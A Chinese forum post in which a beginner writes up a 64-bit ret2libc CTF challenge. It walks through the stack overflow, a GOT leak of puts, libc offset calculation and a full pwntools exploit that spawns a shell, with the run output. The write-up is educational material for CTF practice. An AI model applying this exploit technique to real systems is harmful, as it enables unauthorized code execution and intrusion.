首页
论坛
课程
招聘
[原创]小白学pwn——ret2libc
2020-2-2 10:22 3507

[原创]小白学pwn——ret2libc

2020-2-2 10:22
3507

小白第一次看到ret2libc的题目,写个文章记录一下学习过程。

0x00 checksec

giantbranch@ubuntu:/mnt/hgfs/game$ checksec protect
[*] '/mnt/hgfs/game/protect'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开了NX,看来不能像以前那样愉快的ret2shellcode了

0x01 流程分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  int v6; // [rsp+Ch] [rbp-4h]

  v6 = 0;
  sub_400845();//用alarm设置timer超时
  sub_4008BF();
  puts("Enter your options");
  read(0, &buf, 0xAuLL);
  v3 = atoi(&buf);
  v6 = v3;
  if ( v3 == 1 )
  {
    sub_4008E4();
  }
  else if ( v3 == 2 )
  {
    sub_40093A();//exit
  }
  else
  {
    printf("error!", &buf);
  }
  return 0LL;
}

sub_4008BF

int sub_4008BF()
{
  puts("Welcome To BrainOverFlow FireWall Command Pinel");
  puts("1. Login");
  return puts("2. Exit");
}

sub_4008E4

int sub_4008E4()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-40h]

  puts("Please Input The Administrator's Password.");
  read(0, &buf, 0xC8uLL);
  if ( !strcmp(&buf, "itisapassword") )
    result = puts("Login success! But nothing happened.");
  else
    result = puts("Login fail!");
  return result;
}

漏洞点找到了,buf只有0x40个字节,但read却读入了0xC8个字节。
因此想让程序运行到我们想要的位置,只需填充0x40(buf大小)+0x8(rbp大小)再加入返回地址即可。

 

不过麻烦的是,题目只导入了puts,printf,read等函数,我们必须手动找出system和'/bin/sh'的地址

0x02 基址+偏移

利用同版本libc里函数偏移确定的特点,我们可以先用现有的函数推测libc的版本,然后用

puts地址 - puts偏移 = 基址 = system地址 - system偏移

间接算出system跟字符串'/bin/sh'的地址

 

获得libc中某函数的地址一般使用GOT表泄露。
由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,已经执行过的话就会在got表生存下来,有了真实的地址!这里,我们选用puts函数实现2次调用,让它生存下来

 

因为我们得到的地址只在这次运行中有效,所以,当我们打印出puts地址并且pwntools recv()以后,必须再次执行start函数实现第二次的栈溢出,从而ret到system

 

所以我们的流程就是
1.调用puts打印出puts的真实地址
2.计算system与bin/sh字符串的地址
3.再次栈溢出调用system('/bin/sh')

 

写脚本吧!

0x03 脚本编写

from pwn import *

r = process('./protect')
elf =ELF('./protect')
r.sendline("1")
r.send("A"*(0x40+0x8)+p64(0x400a43)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400730))

菜鸡遇到的坑1,以前32位栈溢出的时候直接把参数放栈里,结果忘了64位调用要把参数放进edi,吃了好多sigsegv才反应过来。
所以在puts前,我们要先return到pop edi;ret;来把我们栈中可控的数据(也就是GOT puts)放入edi中,这么两句的搜索可以用

giantbranch@ubuntu:/mnt/hgfs/game$ ROPgadget --binary protect --only 'pop|ret' |grep 'rdi'
0x0000000000400a43 : pop rdi ; ret
#没有edi的gadgets只好用rdi了

0x400730就是start的地址,相当于我们在同一次运行中再次执行了一次程序

r.recvuntil("fail!")
puts_addr=u64(r.recvuntil("Welcome")[-14:-8]+"\x00\x00")
print hex(puts_addr)

然后就是我遇到的坑2,读我们输出的地址之前,一定要先把题目的废话读进来(因为原来的程序结束是login fail!我们直接recvuntil到fail)
然后因为第二次start也会输出废话,所以要截取中间的内容,括号中的字符串也是读取的一部分,u64只能转换恰好8位的字符串,我们puts出的地址因为是字符串,前面的0会被截断,所以只有低六位的,我们手动给他补全。

sys_off=0x45390
puts_off=0x6f690
str_off=0x18cd57
sys_addr=puts_addr-puts_off+sys_off
bin_addr=puts_addr-puts_off+str_off

关于这几个offset还有libc的版本,可以用python库LibcSearcher也可以上网站libc database search查询,根据已有函数的地址后三位,算出system的偏移。

r.send("A"*(0x40+0x8)+p64(0x400a43)+p64(bin_addr)+p64(sys_addr)+p64(0x400730))
r.interactive()

和调用puts一样的流程。

giantbranch@ubuntu:/mnt/hgfs/game$ python kanxue.py[+] Starting local process './protect': pid 11893
[*] '/mnt/hgfs/game/protect'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
0x7f41b2673690
[*] Switching to interactive mode
 To BrainOverFlow FireWall Command Pinel
1. Login
2. Exit
Enter your options
Please Input The Administrator's Password.
Login fail!
$ whoami
giantbranch
$

大功告成!


[公告]《CTF高级解混淆》训练营,国际顶尖CTF战队大牛亲自授课,助你快速成长!

最后于 2020-2-2 17:40 被alphc编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 5131
活跃值: 活跃值 (6146)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2020-2-2 11:46
2
0
感谢分享!
雪    币: 4233
活跃值: 活跃值 (1164)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2020-2-2 12:07
3
0
mark,楼主辛苦了
雪    币: 2112
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 活跃值 2020-2-2 14:13
4
6
感谢分享!
雪    币: 3127
活跃值: 活跃值 (254)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
BDomne 活跃值 5 2020-2-2 15:10
5
0
附件上传下题目和完整脚本哈
雪    币: 4067
活跃值: 活跃值 (156)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
alphc 活跃值 2020-2-2 17:40
6
0
BDomne 附件上传下题目和完整脚本哈[em_1]
okk
游客
登录 | 注册 方可回帖
返回